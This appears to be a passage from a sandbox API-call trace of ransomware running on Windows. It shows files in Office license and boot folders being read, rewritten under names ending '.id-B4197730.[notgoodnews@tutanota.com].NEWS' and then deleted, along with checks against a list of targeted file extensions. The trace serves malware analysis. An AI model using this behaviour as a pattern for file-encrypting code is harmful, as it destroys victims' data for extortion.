lstrlenW (lpString=".rar") returned 4 [0190.231] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.231] lstrlenW (lpString=".bz2") returned 4 [0190.231] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.231] lstrlenW (lpString=".7z") returned 3 [0190.231] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0190.231] lstrlenW (lpString=".dbf") returned 4 [0190.231] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0190.231] lstrlenW (lpString=".1cd") returned 4 [0190.231] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0190.231] lstrlenW (lpString=".jpg") returned 4 [0190.231] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0190.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0190.232] lstrlenW (lpString=".doc") returned 4 [0190.232] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.232] lstrlenW (lpString=".docx") returned 5 [0190.232] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.232] lstrlenW (lpString=".pdf") returned 4 [0190.232] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.232] lstrlenW (lpString=".xls") returned 4 [0190.232] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.232] lstrlenW (lpString=".xlsx") returned 5 [0190.232] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.232] lstrlenW (lpString=".ppt") returned 4 [0190.232] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0190.232] lstrlenW (lpString=".zip") returned 4 [0190.232] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.232] lstrlenW (lpString=".rar") returned 4 [0190.232] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.232] lstrlenW (lpString=".bz2") returned 4 [0190.232] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.232] lstrlenW (lpString=".7z") returned 3 [0190.232] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0190.232] lstrlenW (lpString=".dbf") returned 4 [0190.232] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0190.232] lstrlenW (lpString=".1cd") returned 4 [0190.232] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0190.232] lstrlenW (lpString=".jpg") returned 4 [0190.232] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.233] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0190.233] lstrlenW (lpString="MondoR_Trial-pl.xrm-ms") returned 22 [0190.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0190.473] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11139) returned 1 [0190.473] CloseHandle (hObject=0x2c4) returned 1 [0190.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 0x220 [0190.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0190.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0190.474] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.474] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0190.475] GetLastError () returned 0x0 [0190.475] ReadFile (in: hFile=0x2c4, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2b83, lpOverlapped=0x0) returned 1 [0190.477] WriteFile (in: hFile=0x2c8, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0190.479] ReadFile (in: hFile=0x2c4, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.479] WriteFile (in: hFile=0x2c8, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x100, lpOverlapped=0x0) returned 1 [0190.479] SetEndOfFile (hFile=0x2c8) returned 1 [0190.479] CloseHandle (hObject=0x2c8) returned 1 [0190.479] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.479] SetEndOfFile (hFile=0x2c4) returned 1 [0190.482] CloseHandle (hObject=0x2c4) returned 1 [0190.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0190.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 1 [0190.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0190.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0190.483] lstrlenW (lpString=".doc") returned 4 [0190.483] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.483] lstrlenW (lpString=".docx") returned 5 [0190.483] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.483] lstrlenW (lpString=".pdf") returned 4 [0190.483] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.483] lstrlenW (lpString=".xls") returned 4 [0190.483] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.483] lstrlenW (lpString=".xlsx") returned 5 [0190.483] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.483] lstrlenW (lpString=".ppt") returned 4 [0190.483] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0190.483] lstrlenW (lpString=".zip") returned 4 [0190.483] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.483] lstrlenW (lpString=".rar") returned 4 [0190.483] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.483] lstrlenW (lpString=".bz2") returned 4 [0190.483] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.483] lstrlenW (lpString=".7z") returned 3 [0190.483] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0190.484] lstrlenW (lpString=".dbf") returned 4 [0190.484] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0190.484] lstrlenW (lpString=".1cd") returned 4 [0190.484] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0190.484] lstrlenW (lpString=".jpg") returned 4 [0190.484] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0190.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0190.484] lstrlenW (lpString=".doc") returned 4 [0190.484] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.484] lstrlenW (lpString=".docx") returned 5 [0190.484] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.484] lstrlenW (lpString=".pdf") returned 4 [0190.484] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.484] lstrlenW (lpString=".xls") returned 4 [0190.484] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.484] lstrlenW (lpString=".xlsx") returned 5 [0190.484] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.484] lstrlenW (lpString=".ppt") returned 4 [0190.484] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0190.484] lstrlenW (lpString=".zip") returned 4 [0190.484] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.484] lstrlenW (lpString=".rar") returned 4 [0190.484] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.484] lstrlenW (lpString=".bz2") returned 4 [0190.484] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.484] lstrlenW (lpString=".7z") returned 3 [0190.484] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0190.484] lstrlenW (lpString=".dbf") returned 4 [0190.484] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0190.484] lstrlenW (lpString=".1cd") returned 4 [0190.485] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0190.485] lstrlenW (lpString=".jpg") returned 4 [0190.485] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.485] lstrlenW (lpString=".id-") returned 4 [0190.485] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47d2a0 | out: hHeap=0x420000) returned 1 [0190.485] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bd8c8 | out: hHeap=0x420000) returned 1 [0190.485] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x38e1470 | out: hHeap=0x420000) returned 1 [0190.486] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x38f1478 | out: hHeap=0x420000) returned 1 [0190.487] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3e86020 | out: hHeap=0x420000) returned 1 [0190.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47d210 | out: hHeap=0x420000) returned 1 [0190.492] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089048 [0190.492] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089048, Size=0x20) returned 0x408dd08 [0190.492] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089048 [0190.492] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089048, Size=0x20) returned 0x408dc68 [0190.492] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.492] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.492] Wow64DisableWow64FsRedirection (in: OldValue=0x349ff50 | out: OldValue=0x349ff50*=0x1) returned 1 [0190.492] lstrlenW (lpString="kernel32.dll") returned 12 [0190.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408dc68 | out: hHeap=0x420000) returned 1 [0190.492] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408dd08 | out: hHeap=0x420000) returned 1 Thread: id = 47 os_tid = 0xe04 [0157.073] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3901480 [0157.073] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3f90048 [0157.074] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d450 [0157.074] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bd818 [0157.074] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d348 [0157.074] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x4191020 [0157.077] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d360 [0157.077] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d360, Size=0x20) returned 0x45f2d8 [0157.077] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d228 [0157.077] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d228, Size=0x20) returned 0x45f530 [0157.077] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0157.078] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0157.078] Wow64DisableWow64FsRedirection (in: OldValue=0x35dff50 | out: OldValue=0x35dff50*=0x0) returned 1 [0157.078] lstrlenW (lpString="kernel32.dll") returned 12 [0157.078] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f2d8 | out: hHeap=0x420000) returned 1 [0157.078] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.078] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f530 | out: hHeap=0x420000) returned 1 [0157.078] Sleep (dwMilliseconds=0x64) [0157.242] Sleep (dwMilliseconds=0x64) [0157.527] Sleep (dwMilliseconds=0x64) [0157.741] Sleep (dwMilliseconds=0x64) [0157.974] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0157.974] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0157.974] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0158.100] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=77664) returned 1 [0158.100] CloseHandle (hObject=0x3a8) returned 1 [0158.100] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0158.100] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.100] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.101] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0158.101] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0158.101] lstrlenW (lpString=".doc") returned 4 [0158.101] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.101] lstrlenW (lpString=".docx") returned 5 [0158.101] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0158.101] lstrlenW (lpString=".pdf") returned 4 [0158.101] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.101] lstrlenW (lpString=".xls") returned 4 [0158.101] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.101] lstrlenW (lpString=".xlsx") returned 5 [0158.101] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0158.101] lstrlenW (lpString=".ppt") returned 4 [0158.101] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.101] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0158.101] lstrlenW (lpString=".zip") returned 4 [0158.101] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.101] lstrlenW (lpString=".rar") returned 4 [0158.101] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.101] lstrlenW (lpString=".bz2") returned 4 [0158.101] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.101] lstrlenW (lpString=".7z") returned 3 [0158.101] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.101] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0158.101] lstrlenW (lpString=".dbf") returned 4 [0158.101] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.101] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0158.101] lstrlenW (lpString=".1cd") returned 4 [0158.101] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.101] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0158.101] lstrlenW (lpString=".jpg") returned 4 [0158.101] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.102] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0158.102] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0158.102] lstrlenW (lpString=".doc") returned 4 [0158.102] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.102] lstrlenW (lpString=".docx") returned 5 [0158.102] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0158.102] lstrlenW (lpString=".pdf") returned 4 [0158.102] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.102] lstrlenW (lpString=".xls") returned 4 [0158.102] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.102] lstrlenW (lpString=".xlsx") returned 5 [0158.102] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0158.102] lstrlenW (lpString=".ppt") returned 4 [0158.102] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.102] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0158.102] lstrlenW (lpString=".zip") returned 4 [0158.102] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.102] lstrlenW (lpString=".rar") returned 4 [0158.102] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.102] lstrlenW (lpString=".bz2") returned 4 [0158.102] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.102] lstrlenW (lpString=".7z") returned 3 [0158.102] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.102] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0158.102] lstrlenW (lpString=".dbf") returned 4 [0158.102] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.102] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0158.102] lstrlenW (lpString=".1cd") returned 4 [0158.102] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.102] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0158.102] lstrlenW (lpString=".jpg") returned 4 [0158.103] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.103] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0158.103] lstrlenW (lpString="msjh_boot.ttf") returned 13 [0158.103] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.214] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=164347) returned 1 [0158.214] CloseHandle (hObject=0x3cc) returned 1 [0158.214] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0158.220] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.221] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.221] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0158.221] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0158.221] lstrlenW (lpString=".doc") returned 4 [0158.221] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.221] lstrlenW (lpString=".docx") returned 5 [0158.221] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.221] lstrlenW (lpString=".pdf") returned 4 [0158.221] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.221] lstrlenW (lpString=".xls") returned 4 [0158.221] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.221] lstrlenW (lpString=".xlsx") returned 5 [0158.221] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.221] lstrlenW (lpString=".ppt") returned 4 [0158.221] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.221] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0158.221] lstrlenW (lpString=".zip") returned 4 [0158.221] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.221] lstrlenW (lpString=".rar") returned 4 [0158.221] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.221] lstrlenW (lpString=".bz2") returned 4 [0158.221] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.221] lstrlenW (lpString=".7z") returned 3 [0158.221] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.221] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0158.221] lstrlenW (lpString=".dbf") returned 4 [0158.221] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.221] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0158.221] lstrlenW (lpString=".1cd") returned 4 [0158.221] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.222] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0158.222] lstrlenW (lpString=".jpg") returned 4 [0158.222] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.222] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0158.222] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0158.222] lstrlenW (lpString=".doc") returned 4 [0158.222] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.222] lstrlenW (lpString=".docx") returned 5 [0158.222] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.222] lstrlenW (lpString=".pdf") returned 4 [0158.222] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.222] lstrlenW (lpString=".xls") returned 4 [0158.222] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.222] lstrlenW (lpString=".xlsx") returned 5 [0158.222] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.222] lstrlenW (lpString=".ppt") returned 4 [0158.222] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.222] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0158.222] lstrlenW (lpString=".zip") returned 4 [0158.222] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.222] lstrlenW (lpString=".rar") returned 4 [0158.222] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.222] lstrlenW (lpString=".bz2") returned 4 [0158.222] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.222] lstrlenW (lpString=".7z") returned 3 [0158.222] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.222] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0158.222] lstrlenW (lpString=".dbf") returned 4 [0158.222] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.222] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0158.222] lstrlenW (lpString=".1cd") returned 4 [0158.222] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.222] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0158.222] lstrlenW (lpString=".jpg") returned 4 [0158.222] 